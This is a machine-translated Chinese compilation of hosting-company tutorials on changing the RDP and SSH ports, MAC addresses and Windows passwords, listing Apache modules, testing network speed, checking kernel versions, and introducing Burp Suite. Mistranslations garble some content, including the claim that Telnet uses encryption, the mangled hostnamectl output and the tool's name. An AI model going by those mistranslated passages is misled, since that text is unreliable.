通常,RDP 服务使用 TCP 3389 端口。通过激活这种默认模式,黑客可以很容易地渗透到您的网络。要更改远程桌面端口,您可以出于安全原因将此端口更改为您需要的数量,并保护您组织的网络或内部服务器免受外部和内部攻击。这样做,就可以轻松防止黑客渗透。
所以把端口换成另一个号码最重要的原因是,如果你的 IP 被黑客扫描检查远程桌面访问,端口 3389 将被禁用,你的服务器将被隐藏在视野之外。在下一节中,我们将教你如何在 Windows 上更改 RDP 端口。
在 Windows 10 上更改 RDP 端口 2012,2016,2019
第一步,从开始菜单中选择运行。
然后在运行窗口中,键入 Regedit 然后点击 OK 。
现在,在打开的窗口中,转到以下路径:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber
在下一步中,右击文件并选择修改。然后输入十进制选项和新端口号。
注意: 为了能够成功连接,您必须按如下方式输入所需端口:
YY.YY.YY.YY:PORT
现在我们需要进入防火墙设置。打开具有高级安全性的 Windows 防火墙,以打开防火墙中的端口。为此,请使用 Windows 搜索功能或从以下路径输入:
开始>>控制面板>>系统和安全> > Windows 防火墙
要添加端口,点击入站规则并点击左栏中的新规则。
遵循如下所示的步骤:
输入所需的描述,点击完成。
结论
由于黑客在攻击服务器或目标系统时会搜索默认端口,因此应该采取措施来防止这种情况。最实用、最基本的方法之一就是更改默认的 RDP 端口。在这篇文章中,我们试图教你如何一步一步地改变 RDP 端口。如果你愿意,可以参考文章如何保护 Linux VPS 。
如何更改 CentOS 7、8 和 9 上的 SSH 端口- Eldernode 博客
默认的 SSH 服务端口值是 22,在这种情况下,黑客可以通过端口 22 对服务器发起攻击,获得对服务器的控制或对其造成不可修复的损害。为了提高服务器的安全性,您必须更改默认的 SSH 端口。在本文中,您将学习如何在 CentOS 7、8 和 9 上更改 SSH 端口。如果你想购买 CentOS VPS 服务器,你可以在 Eldernode 网站查看提供的套餐。
教程更改 CentOS 7、8、9 上的 SSH 端口
SSH 端口介绍
SSH 是一种远程管理协议,允许用户远程控制和修改他们的服务器。此服务是 Telnet 的替代服务,与 Telnet 不同,Telnet 使用加密技术。它为远程用户身份验证、从客户端到主机的数据传输以及到客户端的重新传输提供了一种机制。按照以下步骤更改 CentOS 上的 SSH 端口。在这种状态下,需要重新标记要设置的端口,以便访问控制策略规则可以接受 SSH 服务进行连接。
在下一节中,我们将一步步教您如何在 CentOS 7 和 8 上更改 SSH 端口。
更改 CentOS 7 和 8 上的 SSH 端口
首先登录 CentOS 系统,运行以下命令备份 SSH 配置文件:
date_format=`date +%Y_%m_%d:%H:%M:%S`
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config_$date_format
然后用下面的命令确认备份:
ls /etc/ssh/sshd_config*
/etc/ssh/sshd_config /etc/ssh/sshd_config_2019_09_05:21:40:10
您可以使用任何类型的文本编辑器(vi、vim、nano e.t.c)打开 SSH 配置文件:
sudo vi /etc/ssh/sshd_config
找到端口 22 和的线路,取消对的注释,并设置您的新服务端口以供使用;例如,我使用端口 9782:
Port 9782
保存更改后关闭文件。
如上所述,默认端口标记为 SSH 22:
semanage port -l | grep ssh
ssh_port_t tcp 22
为了在防火墙上打开 SSH 端口,您应该保持防火墙服务运行,并且只允许可信服务:
sudo firewall-cmd --add-port=9782/tcp --permanent
sudo firewall-cmd --reload
使用以下命令安装防火墙并启动服务:
sudo yum -y install firewalld
sudo systemctl enable --now firewalld
sudo firewall-cmd --add-port=9782/tcp --permanent
sudo firewall-cmd --reload
您可以使用以下命令删除 SSH 服务:
sudo firewall-cmd --remove-service=ssh --permanent
sudo firewall-cmd --reload
运行以下命令重启 SSH 服务并应用更改:
sudo systemctl restart sshd
最后使用以下命令验证 SSH 的监听地址:
netstat -tunl | grep 9782
tcp 0 0 0.0.0.0:9782 0.0.0.0:* LISTEN
tcp6 0 0 :::9782 :::* LISTEN
更改 CentOS 流 9 上的 SSH 端口
通过 SSH 控制台首次登录服务器:
ssh [[email protected]](/cdn-cgi/l/email-protection)
运行下面的命令来在 Linux 上安装您最喜欢的编辑器 (nano 或 VIM):
dnf install nano -y
然后使用以下命令检查防火墙状态:
systemctl status firewalld
运行以下命令安装防火墙:
yum install firewalld
现在,您需要使用以下命令再次检查防火墙状态:
systemctl status firewalld
使用以下命令启用并启动 Firewalld 服务:
systemctl enable firewalld
systemctl start firewalld
最后,再次检查防火墙状态:
systemctl status firewalld
运行以下命令停止防火墙:
systemctl stop firewalld
然后重启防火墙:
systemctl restart firewalld
然后使用下面的命令在 Firewalld 上添加您的自定义 SSH 端口号。例如,要使用端口 9782,您可以使用以下命令加入白名单:
sudo firewall-cmd --add-port 9782/tcp
sudo firewall-cmd --add-port 9782/tcp --permanent
sudo firewall-cmd --zone=public --permanent --add-port=9782/tcp
然后运行以下命令重启防火墙服务:
systemctl restart firewalld
然后使用以下命令更改 SSH 端口号:
nano /etc/ssh/sshd_config
最后运行以下命令来重启 SSH 服务:
systemctl restart sshd
结论
如前所述,黑客可以在默认的 SSH 端口模式下破坏您的服务器,因此您需要更改默认的 SSH 端口来增加您的服务器的安全性。在本文中,我们介绍了 SSH 端口,您了解了如何在 CentOS 7、8 和 9 上更改 SSH 端口。
了解如何简单地更改默认 RDP 端口- Eldernode 博客
原文:https://blog.eldernode.com/change-the-default-rdp-port-simply/
【更新日期:2021-01-30】如果我要以合法黑客的身份攻击一家公司的网络或一个组织的网络,第一步就是扫描网络的开放端口。如果同时我意识到目标系统上的端口 3389 是打开的,我肯定会断定我可以使用 RDP 协议和远程桌面连接来连接到这个系统。在本文中,我们将学习如何简单地更改默认的 RDP 端口,即 3389。另一方面,我们将学习如何在您更改此端口号后通过远程桌面连接到此系统。这样做可以极大地防止黑客在网络检测的早期阶段检测系统,并为我们提供良好的安全度。你可以访问 Eldernode 提供的包来购买一个 Admin RDP 服务器。
教程简单地改变默认的 RDP 港
嗯,到目前为止还没有问题,但是如果我在目标系统中找不到这个号码的端口呢?或者我找到一个号码奇怪的端口,但我还没有听到计数!在这篇文章中,跟随我们一步一步地学习如何改变默认的 RDP 端口,以避免潜在的风险。
如何改变默认的 RDP 港只需
RDP 代表远程桌面连接。该协议是用于远程通信的特殊网络协议之一,允许用户在两台计算机之间进行通信并访问远程主机的桌面。在本文中,您将看到如何在远程桌面连接中更改默认端口(端口:3389)。
只有拥有新端口号的用户才能与目标系统通信。例如,为此,我们需要将 TCP 3389 端口更改为 3399 端口号。您选择的端口号可以完全由您决定。
使用注册表更改默认的 RDP 端口
请遵循以下步骤:
1-进入注册表部分和以下路径:
HKEY_LOCAL_MACHINE\System\CurrentConrolSet\Control\TerminalServer\WinStations\RDP-Tcp
2-找到一个名为端口号的实体,双击它。
3-将数字 3389 更改为您想要的数字。可能会显示为 d3d 而不是 3389。只要确保其他端口的数量不会干扰,最好是众所周知的端口。
4-确认并退出注册表,然后重启系统。
5-系统启动后,您可以使用 MSTSC 控制台通过其他系统远程切换到该系统,并输入更改后的端口号。
**
最后,您可以通过远程桌面连接到所需的计算机,如下所示。
结论
根本不建议使用网络上的默认端口,因为黑客和恶意网络机器人很容易访问这些端口。网络中最重要也是最脆弱的部分之一是远程桌面端口 3389。在本文中,我们试图全面直观地向您介绍如何更改远程桌面的默认端口。
如何更改 Windows - ElderNode 博客中的 MAC 地址
原文:https://blog.eldernode.com/change-the-mac-address-in-windows/
了解如何在 Windows 中更改 MAC 地址。在操作系统上更改 MAC 地址有许多原因,您可能出于各种原因需要这个技巧。同时,还有被防火墙屏蔽、网络中断、安装与 MAC 地址兼容的软件许可证等原因。,您可能需要更改 MAC 地址。你可以从 Eldernode 在线购买便宜的 Windows VPS 服务器。关注我们,了解如何在 Windows 中更改 MAC 地址。
了解如何在 Windows 中更改 MAC 地址
1。首先,按下 Winkey+R 打开 Run 窗口。
2。输入短语 devmgmt.msc ,点击 ok 。
3。在设备管理器窗口中,点击网络适配器显示您的网络适配器。
4。然后在您想要更改其 MAC 地址的适配器上右击并选择属性。
5。在此部分,进入高级选项卡,在左侧菜单中选择网络地址。然后在左边的字段中输入您想要的 Mac 地址。
6。输入所需的 MAC 地址后,点击应用,然后点击确定应用设置。
7。然后重启你的系统一次或者禁用和重新启用你的网卡一次。
8。现在你可以在 CMD 中输入 ipconfig /all 命令来查看你的 Mac 适配器的地址并确保它改变了。
注意: 如果你的网卡没有考虑到你所做的改动,那么操作过程没有问题,你的网卡不会允许改动。但是 Windows 10 中安装的虚拟卡将拥有更改 MAC 地址的全部能力。
结论
你不能忽视的是,电脑上的网络设置并不是那么简单和吸引人,总有一个小小的错误,就可能切断你的上网。但是如果你面对的是需要更改 MAC 地址的情况,应该说幸运的是只要你知道自己在做什么,这个过程会非常简单和短暂。在这篇文章中,我们试图教你如何在 Windows 中更改 MAC 地址。
如何在 vps 上更改 Windows 密码- windows 密码更改
原文:https://blog.eldernode.com/change-windows-password-on-vps/
购买 VPS 服务器后的安全措施之一是更改其密码。出于安全原因,您可能需要更改 Windows 服务器上的密码。更改您的 Windows VPS 服务器密码并不困难,您可以通过几个简单的步骤来更改您的密码。在这篇文章中,我们将向你展示如何在微软视窗服务器的 VPS 上更改视窗密码。每当您需要在 VPS 或专用服务器上更改您的服务器管理员密码时,您可以按照以下步骤进行。
教程更改 VPS 上的 Windows 密码
防止操作系统密码泄露的一种方法是定期更改密码。通常,人们倾向于在从托管公司收到 VPS 服务器后更改服务器密码。需要注意的是,防止 VPS 服务器被黑客攻击的最好方法之一就是修改它的密码。所以在这篇文章中,我们将向您介绍如何在 VPS 上更改您的 Windows 密码。
本教程适用于所有 Windows 服务器系列,如 windows server 2019、windows server 2016、windows server 2012 和 2012R2、windows server 2008 和 2008 R2,您也可以使用这些步骤在所有客户端窗口(如 windows 10、windows 8、windows 7 等)上重置密码。考虑使用强密码使您的 Windows 服务器更加安全。
更改 VPS 上的 Windows 密码
要在 MS Windows Server 中更改您的服务器管理员密码,请按照下列步骤操作:
1- 通过远程桌面登录您的服务器。
2- 按下 Windows+R 并键入lusrmgr . MSC
3- 展开本地用户和组。
4- 点击用户。
5- 右键点击管理员。点击设置密码 > > 进行。
6- 在两个字段中输入新密码,然后按确定。
就是这样!您现在已经更改了您的 windows server 密码。
这些步骤适用于所有 Windows server 2008、Windows Server 2012、Windows Server 2012R2、Windows Server 2016、Windows Server 2019 以及所有客户端 Microsoft windows 版本,如 Windows 10、Windows 8 等
如果您对在 VPS 或专用服务器上重置 windows 密码有任何疑问,您可以在下面发表评论。
结论
在许多情况下,购买装有 Windows 操作系统的服务器的用户需要更改他们的 Windows 服务器密码,以尽可能保证服务器的安全。所以在这篇文章中,我们试图让你了解如何在 vps 上更改 Windows 密码。
更改 Windows VPS 服务器密码- Eldernode
原文:https://blog.eldernode.com/changing-windows-vps-server-password/
更改 Windows VPS 服务器密码。防止操作系统密码泄露的一种方法是定期更改密码。在这篇文章中,我们将教你如何改变一个 Windows vps 服务器的密码。
请记住,为了 Windows 服务器的安全,请使用强密码。
要更改您已登录的 vps 服务器 (windows)的密码,步骤如下:
1.首先,右键 我的电脑。
2.点击管理。
3.在打开的页面中,从工具菜单中选择电脑管理。
4.然后选择本地用户和组选项和用户文件夹。
5.现在右击管理员并选择设置密码。
6.点击继续并输入两次新密码。
如果您成功更改密码,将显示消息“密码已发送”。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
Goodluck.
为什么便宜的 Linux VPS 主机是正确的选择!
原文:https://blog.eldernode.com/cheap-linux-vps-hosting-is-the-right-choice/
现在虚拟专用服务器被广泛使用,这使得它们的使用随着技术的进步而增加。用户购买的最受欢迎的服务器之一是 Linux VPS。这篇文章将向你解释为什么便宜的 Linux VPS 主机是你的企业的正确选择。如果你打算购买自己的 Linux VPS,你可以查看 Eldernode 网站上提供的软件包。
2022 年为您的企业提供廉价的 Linux VPS 托管
Linux VPS 托管是在基于 Linux 的虚拟专用服务器上托管您的网站的过程。在 Linux VPS 托管中,您将使用 Linux 操作系统作为 web 托管服务器的基础。Linux VPS 运行在被誉为最稳定的操作系统的 Linux 系统上。
在这篇来自 Linux 培训系列的文章的续篇中,我们将解释为什么廉价的 Linux VPS 托管是你的企业的正确选择。
比专用服务器 便宜
当选择一个合适的 Linux VPS 主机时,你首先会考虑的是它的价格。Linux VPS 主机适合小型商业网站,而专用服务器最适合中型和大型商业网站。正因为如此,Linux VPS 托管比专用服务器便宜。所以,如果你有一个小预算和小企业,你可以选择 Linux VPS 主机。确保您必须找到一个平衡点,而不是减少功能和服务器资源。
可以根据需要放大
可伸缩性是增加 Linux VPS 托管计划中资源数量的能力。随着网站的发展,您需要增加存储、内存、带宽或其他资源来应对访问者和交易量的增长,以及网站内容量的潜在增长。它让您的 Linux VPS 主机有可能获得更好的性能。
纵向扩展您的 Linux VPS 很简单,您可以根据需要随时纵向扩展您的 Linux VPS。此过程不会损坏存储在服务器上的任何数据,并且可以在升级服务器时完成。
他们有伟大的表现
所有的虚拟主机操作系统都应该稳定快速。Linux VPS 主机给你的网站一个服务器上的分区空间和一组专用资源。正因为如此,它有很好的性能,可以通过微调来最大化网站性能。性能与服务器的硬件规格有关。
网站加载的时间很重要。网站性能是通过加载网页的时间来评估的。Linux VPS 不依赖于共享资源,提供快速的页面加载速度。
他们容易管理
有两种类型的 Linux 虚拟处理器,包括托管虚拟处理器和非托管虚拟处理器。在托管 Linux VPS 中,托管服务提供商负责 VPS 的所有管理,您不需要具备技术技能。您可以随时从您的主机提供商那里获得技术支持。但是在非托管 Linux VPS 中,您将管理和维护服务器,并且您应该对服务器有很好的了解。这种类型的 Linux VPS 成本较低,因为您管理服务器。您可以根据自己的需求进行定制。您可以轻松管理托管的 Linux VPS 主机。
他们提供全天候支持
Linux VPS 主机提供 24/7 支持,这意味着提供一年 365 天、一周 7 天、一天 24 小时的支持。为了让你一周 7 天 24 小时都能解决你的问题,找到你的答案。全天候支持包括对需要无中断运行和停机的服务的支持。
结论
廉价的 Linux VPS 主机以最实惠的价格提供高质量的主机和优质服务。在这篇文章中,我们解释了为什么廉价的 Linux VPS 主机是您的企业的正确选择。我希望这篇教程能帮助你找到你的问题,并且你喜欢它。如果您有任何问题或建议,可以在评论区联系我们。
如何检查在 Linux - Eldernode 中启用/加载了哪些 Apache 模块
一个 Linux 系统管理员需要知道一些 Linux 的小技巧。在本文中,您将学习如何检查哪些 Apache 模块在 Linux 中被启用/加载。
加入我们来讨论 Apache web 服务器前端,以及如何列出或检查您的服务器上启用了哪些 Apache 模块。
此外,让我们提一下,Apache 是基于模块化原则构建的,这样,它使 web 服务器管理员能够添加不同的模块来扩展其主要功能,并增强 Apache 的性能。
如何检查 Linux 中启用/加载了哪些 Apache 模块
让我们浏览一下这个指南,向您展示如何检查在 Linux 中启用/加载了哪些 Apache 模块。首先,回顾一些常见的 Apache 模块,包括:
- mod _ SSL——为阿帕奇提供 HTTPS。
- mod _ rewrite——允许用正则表达式匹配 URL 模式,并使用执行透明重定向。 htaccess 招数,或者应用 HTTP 状态码响应。
- mod _ security——提供保护阿帕奇免受蛮力或 DDoS 攻击。
- mod _ status——允许您监控 Apache web 服务器 负载和页面静态
在 Linux 中, apachectl 或apache 2 CTL命令 用于控制 Apache 的 HTTP 服务器接口,它是 Apache 的一个前端。
显示 apache2ctl: 的使用信息
apache2ctl help OR apachectl help
阿帕契帮
Usage: /usr/sbin/httpd [-D name] [-d directory] [-f file] [-C "directive"] [-c "directive"] [-k start|restart|graceful|graceful-stop|stop] [-v] [-V] [-h] [-l] [-L] [-t] [-S] Options: -D name : define a name for use in directives -d directory : specify an alternate initial ServerRoot -f file : specify an alternate ServerConfigFile -C "directive" : process directive before reading config files -c "directive" : process directive after reading config files -e level : show startup errors of level (see LogLevel) -E file : log startup errors to file -v : show version number -V : show compile settings -h : list available command line options (this page) -l : list compiled in modules -L : list available configuration directives -t -D DUMP_VHOSTS : show parsed settings (currently only vhost settings) -S : a synonym for -t -D DUMP_VHOSTS -t -D DUMP_MODULES : show all loaded modules -M : a synonym for -t -D DUMP_MODULES -t : run syntax check for config files
Sys V init 模式和 pass-through 模式是 apache2ctl 可以工作的两种方式。在 SysV init 模式中, apache2ctl 采用简单的一个单词的命令,格式如下:
apachectl command OR apache2ctl command
为了进行更多的验证,让我们看看这个例子,要启动 Apache 并检查其状态,如果您是普通用户,可以通过使用 sudo 命令以根用户权限运行这两个命令:
sudo apache2ctl start sudo apache2ctl status
检查 Apache 状态
**[[email protected]](/cdn-cgi/l/email-protection) ~ $ sudo apache2ctl start** AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1\. Set the 'ServerName' directive globally to suppress this message httpd (pid 1456) already running **[[email protected]](/cdn-cgi/l/email-protection) ~ $ sudo apache2ctl status** Apache Server Status for localhost (via 127.0.0.1) Server Version: Apache/2.4.18 (Ubuntu) Server MPM: prefork Server Built: 2016-07-14T12:32:26 Current Time: Tuesday, 15-Nov-2016 11:47:28 IST Restart Time: Tuesday, 15-Nov-2016 10:21:46 IST Parent Server Config. Generation: 2 Parent Server MPM Generation: 1 Server uptime: 1 hour 25 minutes 41 seconds Server load: 0.97 0.94 0.77 Total accesses: 2 - Total Traffic: 3 kB CPU Usage: u0 s0 cu0 cs0 .000389 requests/sec - 0 B/second - 1536 B/request 1 requests currently being processed, 4 idle workers __W__........................................................... ................................................................ ...................... Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process
当在直通模式下运行时, apache2ctl 可以采用以下语法中的所有 apache 参数:
apachectl [apache-argument] apache2ctl [apache-argument]
如果您需要列出所有 Apache 参数:
apache2 help [On **Debian** based systems] httpd help [On **RHEL** based systems]
用加密货币购买虚拟机
检查启用的 Apache 模块
您可以使用下面适用于您的发行版的命令来检查 Apache web 服务器上启用了哪些模块,其中-t-D****DUMP _ MODULES是 Apache 的一个参数,用于显示所有已启用/已加载的模块。
On **Debian** based systems apache2ctl -t -D DUMP_MODULES OR apache2ctl -M
On **RHEL** based systems $ apachectl -t -D DUMP_MODULES OR $ httpd -M $ apache2ctl -M
列出 Apache 启用的加载模块
**[[[email protected]](/cdn-cgi/l/email-protection) httpd]# apachectl -M** Loaded Modules: core_module (static) mpm_prefork_module (static) http_module (static) so_module (static) auth_basic_module (shared) auth_digest_module (shared) authn_file_module (shared) authn_alias_module (shared) authn_anon_module (shared) authn_dbm_module (shared) authn_default_module (shared) authz_host_module (shared) authz_user_module (shared) authz_owner_module (shared) authz_groupfile_module (shared) authz_dbm_module (shared) authz_default_module (shared) ldap_module (shared) authnz_ldap_module (shared) include_module (shared) ....
好样的 !至此,您已经学会了如何使用 apache 前端工具来列出已启用/已加载的 Apache 模块。
亲爱的用户,我们希望本教程能对你有所帮助,如有任何问题或想查看我们的用户关于本文的对话,请访问 提问页面 。也是为了提高自己的见识,准备了这么多有用的教程给 Eldernode 培训 。
同样,阅读
如何用 CWP 托管面板设置 web 服务器
How to set up a web server with a CWP hosting panel
如何在 debian 和 Ubuntu - Eldernode 博客上查看网速
原文:https://blog.eldernode.com/check-internet-speed-on-debian-and-ubuntu/
Speedtest CLI 将 Speedtest 背后的全球服务器网络带到命令行。借助 Speedtest CLI,您可以轻松设置互联网连接的性能标准。这些标准包括自然地装载、卸载、延迟和丢失包裹,而不依赖于网络浏览器。您可以使用 Speedtest 测试服务器网络来测试台式机和服务器的互联网连接。应该注意的是,使用这个工具,可以收集自动脚本来收集连接性能数据,包括随时间变化的趋势。在这篇文章中,我们试图教你如何使用 speedtest-cli 在 debian 和 Ubuntu 上检查网速。你可以在 Eldernode 看到可以购买 Ubuntu VPS 或者 Linux VPS 服务器的包。
教程在 Linux debian 和 Ubuntu 上检查网速
在 Linux 上安装 speed test-CLI
在本文中,我们将向您介绍如何使用两种方法安装 speedtest-cli 工具。第一种方法是使用 Python-Pip 包管理器完成的,第二种方法是手动完成的。请注意,您必须安装 Python 2.4-3.4 或您系统的升级版本才能启动。在本教程中跟随我们。
如何使用 python-pip 安装 speed test-CLI
要使用 python-pip 安装 speedtest-cli,您必须首先执行以下命令以 root 用户身份进入:
sudo su
然后,您需要通过运行以下命令来更新存储库包列表:
apt-get update
现在您需要安装 pip 包管理器。请注意,以下命令还会安装所需的依赖项:
apt-get install python-pip
将询问您是否要继续。必须按“ y ”。
现在,您需要使用以下命令安装该程序:
pip install speedtest-cli
Collecting speedtest-cli Downloading https://files.pythonhosted.org/packages/61/8b/58d1de9a7fff3e91c5ab956ab4ba72b49f42d9f73d5f3e248c740dfcc816/speedtest_cli-2.1.1-py2.py3-none-any.whl Installing collected packages: speedtest-cli Successfully installed speedtest-cli-2.1.1
还应注意,您可以使用以下命令来升级 speedtest-cli:
pip install speedtest-cli –-upgrade
如何手动安装最新的 speed test-CLI
第二种方法是手动安装 speedtest-cli。运行以下命令下载 python 脚本:
cd /tmp
wget https://github.com/sivel/speedtest-cli/archive/master.zip
现在,您需要借助以下命令提取下载的文件:
unzip master.zip
现在,您需要通过执行以下命令来执行提取的脚本:
cd speedtest-cli-master/
chmod 755 speedtest.py
注意: 你可以使用下面的命令来防止每次都键入完整的路径。以下命令将可执行文件移动到 /usr/local/bin :
sudo mv speedtest.py /usr/local/bin/speedtest-cli
如何使用 speedtest-cli 检查互联网速度
成功完成上述步骤后,您现在可以使用以下命令检查您的互联网连接下载和上传速度:
speedtest-cli
有趣的是,您可以检查速度的结果,而不是逐字节检查:
speedtest-cli --bytes
如果您只想获得关于 ping、下载和上传的信息,您应该使用以下命令:
speedtest-cli --simple
上述命令的输出类似于以下内容:
Ping: 5.35 ms Download: 954.23 Mbit/s Upload: 186.45 Mbit/s
应该注意,使用以下命令可以按公里检查服务器列表:
speedtest-cli --list
如果您希望根据特定区域的距离限制服务器的搜索结果并检查它们,您必须使用以下命令:
speedtest-cli --list | grep –i France
您可以使用服务器 ID 来测试特定服务器的连接速度。在以下示例中,服务器 ID 2604 用作示例。
speedtest-cli --server [server ID]
speedtest-cli --server 2604
您还可以轻松查看 speedtest-cli 工具的手册和版本号:
speedtest-cli --version
speedtest-cli --help
如何用 speedtest-cli 创建网速日志
请注意,此时您可以将 Speedtest-cli 作为 cronjob 运行,以获取互联网速度测试报告。
crontab -e
您还必须向 crontab 添加以下命令行。添加以下命令后,保存以进行应用的更改。
30 00 * * * /usr/local/bin/speedtest-cli >> /tmp/speedlog.txt
结论
最著名的网速测试网站之一是 SpeedTest 。当然,通过连接到它和它在世界各地的众多服务器,你可以测量你的网速。对于 Linux 操作系统,这个网站设计了一个叫做 Speedtest-cli 的工具,运行在 Ubuntu 和 Debian 环境下,测试互联网的速度。在这篇文章中,我们试图向你学习如何在 debian 和 Ubuntu 上检查网速。如果你想知道你的网速状况,你可以使用本文提供的解决方案。
如何在 VPS - Eldernode 博客上查看 Linux 内核版本
原文:https://blog.eldernode.com/check-linux-kernel-version-on-vps/
了解如何在 VPS 上检查 Linux 内核版本。在使用 Linux 时,您需要注意的一件事是了解系统信息。你一定想过,要在 Linux 服务器上安装一些软件,你需要知道你的 Linux 服务器是什么版本?或者现在是什么版本的内核,或者你的服务器安装的版本是 32 位还是 64 位?有几种方法可以检查内核版本,我们将在下面提到。在这篇文章中,我们试图教你如何以不同的方式检查 CentOS、Debian 和 Ubuntu 发行版中的内核版本。你可以查看 Eldernode 上提供的软件包,购买 CentOS VPS 和 Ubuntu VPS 服务器。
教程在 VPS 上检查 Linux 内核版本
什么是内核?
内核是操作系统的核心,分配 CPU、内存等系统资源。到其他应用程序。内核为想要为他们的平台开发应用程序的开发人员提供了抽象的概念。这些抽象概念包括复杂任务的简化。
内核不仅仅是包含抽象概念的操作系统的软件部分,它实际上是操作系统最重要的部分之一。硬件驱动通过内核与其他部门通信。因此,内核不需要学习如何谈论构成它的各个硬件。这就是为什么一个内核可以在如此多不同品牌和型号的硬件上单独运行。在本文中,我们将教你如何在 CentOS、Debian 和 Ubuntu 中查看 Linux 内核版本。
有几种方法可以检查内核版本,下面是其中的两种:
使用 uname 命令,您可以识别您的机器的内核版本:
[[email protected]](/cdn-cgi/l/email-protection):~# uname -r
上述命令的输出如下所示:
3.13.0-141-generic
上述输出的详细信息如下:
3: 主内核版本
13: 主要修订
0: 次要版本
141-一般:次要修复/修订详细信息
第二种方法是读取 /proc/version/ 文件的内容:
[[email protected]](/cdn-cgi/l/email-protection) : ~# cat /proc/version | awk '{print $3}'
上述命令的输出如下所示:
3.13.0-141-generic
如何在虚拟服务器上检查 CentOS 内核版本
您可以使用以下命令检查系统的各种参数,包括内核版本:
# uname -rv
输出:
3.10.0-693.11.6.el7.x86_64 #1 SMP Thu Jan 4 01:06:37 UTC 2018
另外,如果您使用的是 CentOS 7 操作系统,可以使用以下命令查看当前内核版本。另外,如果你使用的是 VPS ,你会看到 Stab 命令输出:
# uname -r
输出:
2.6.32-042stab125.5
如果您是在专用服务器或 KVM 服务器上使用 CentOS 7 的用户之一,您将在下面针对内核版本的命令输出中看到单词 el7 。el7 指红帽企业。
# uname -r
输出:
3.10.0-693.11.6.el7.x86_64
在 CentOS 上检查内核版本的另一种方法是使用 yum 命令:
yum info kernel -q
该命令包含系统的更多详细信息。所以可能需要一段时间来实现。
教程检查 VPS 上的 Debian 内核版本
您可以使用下面的命令来检查 VPS 上 Debian 发行版的内核版本:
$ uname -srm
上述命令的输出如下所示:
Linux 4.15.0-54-generic x86_64
上述输出的详细信息如下:
4: 内核版本。
15: 重大改版。
0:小改版。
54: 补丁号。
通用:配送特定信息。
查看和审查 Debian 发行版内核版本的另一种方法是使用以下命令:
$ dpkg -l | grep linux-image
上面的命令使用 Aptitude 作为前端来执行操作:
如何检查 Ubuntu 内核
您可以使用以下命令来检查 Ubuntu 发行版中的系统信息。该命令显示静态主机名、图标名称、机箱、机器 ID、引导 ID、操作系统、内核和体系结构的系统规范。
$ hostnamectl
输出:
静态主机名: linuxize.localdomain
图标名称:电脑-笔记本电脑
机箱:笔记本电脑
机器 ID:af 8 ce 1d 394 b 844 Fe A8 c 19 ea 5 c 6 a 6 BD 08
开机 ID:15 BC 3 AE 7 bde 842 f 29 c 8d 925044 f 122 b 9
操作系统:
如果您只想查看内核版本,可以使用以下命令:
`$ hostnamectl | grep -i kernel`
输出:
`Kernel: Linux 4.15.0-54-generic`
查看和审查 Ubuntu 发行版内核版本的另一种方法是使用以下命令:
`$ cat /proc/version`
输出:
`Linux version 4.15.0-54-generic ([[email protected]](/cdn-cgi/l/email-protection)) (gcc version 7.4.0 (Ubuntu 7.4.0-1ubuntu1~18.04.1)) #58-Ubuntu SMP Mon Jun 24 10:55:24 UTC 2019`
结论
使用 Linux 操作系统时,您应该知道的一件事是了解系统信息。您需要知道的信息之一是内核版本。在本文中,我们试图教你如何在 VPS 上检查不同的 Linux 发行版中的内核版本。
Burp 套件功能介绍和检查- Eldernode 博客
原文:https://blog.eldernode.com/check-of-burp-suite-capabilities/
Burp Suite 是一款用于 web 应用安全检查的应用软件。该软件包括为您提供现代功能软件的工具。需要注意的是,这个软件是由 Portswigger 提供的,发布了两个版本,专业版和免费版。这个程序给用户完全的控制权,并允许他们结合不同的和先进的技术。因此,它使工作更快,更有效,更愉快。Burp Suite 非常简单、容易和可配置,并且有许多强大的功能来帮助那些测试软件的人。它的专业版包括多种工具和一个自动扫描仪。同时,免费版本是完整的,包括所有的基本工具。在这篇文章中,我们打算为您提供一个介绍和检查打嗝套件功能。如果你想买一个 VPS 服务器 ,你可以在 Eldernode 中看到可用的包。
介绍打嗝组曲
Burp 套件是防御和进攻安全中最有吸引力的工具之一。这个工具是作为一套工具或一个平台在 web 应用程序上执行安全测试。这个工具包中的各种工具可以协同工作,为您提供对 Web 应用程序安全测试过程的全面支持。
有时,您可以使用 Burp 套件来识别 Web 应用程序中的软件和安全缺陷。您甚至可以在分析后使用相同的工具对 Web 应用程序执行所需的攻击,并识别该软件中的漏洞。
什么是打嗝组曲
Burp Suite 是一个用于检查和测试网络中软件安全性的集成软件。该计划的各种工具无缝协作,以完成安全测试的所有阶段。从最初的规划到检测各种软件的风险,发现病毒,修复网络安全缺陷和弱点。
打嗝软件易于使用和生产。以便用户在第一次使用时可以很容易地使用它。这个程序可以在任何情况下使用,并有许多有效的功能,以帮助大多数专业用户。Burp 软件让您完全控制,将基本技术与最先进的自动化工具相结合,运行更快、更有效,并享受工作。
在这篇文章的后续部分,请加入我们,让您熟悉 Burp Suite 的模块和功能。
打嗝套件软件环境
在本节中,我们将回顾 Burp Suite 软件选项卡,包括以下内容:
目标:您可以使用该工具收集所有 web 应用资源进行识别。
代理:使用代理选项卡,可以分析和编辑所有 web 应用流量。
蜘蛛:这个工具可以让你按照特定的算法和模式浏览互联网。
扫描器:仅专业版才有的全面的 web 应用安全扫描器。
入侵者:使用这个工具,你可以自动化所有的 web 应用请求,发现安全漏洞。
Repeater: 用于编辑和提交 web 请求的强大工具。
Sequencer: 用于检查令牌和 cookies 等的工具。
解码器:这允许你解密或加密数据。
比较器:这个工具用来查找网页上的变化。
打嗝套件模块介绍
Burp Suite 为您提供了高级功能,允许您手动更改 web 应用程序的数据输入。Burp Suite 应用广泛,尤其是在基于 web 的软件的黑客攻击和渗透测试领域,但该软件的重要模块如下:
代理模块:Burp Suite 工具可以通过将自己作为中间代理服务器来窃听客户端和 web 服务器之间的流量。它还可以对 URL 提交的请求进行必要的修改。
蜘蛛模块:像谷歌爬虫一样,可以检查一个网站的所有页面,并列出其内容。
专业的 Web 安全扫描器:该扫描器工具可以扫描并识别网站内大量已知的 Web 漏洞。
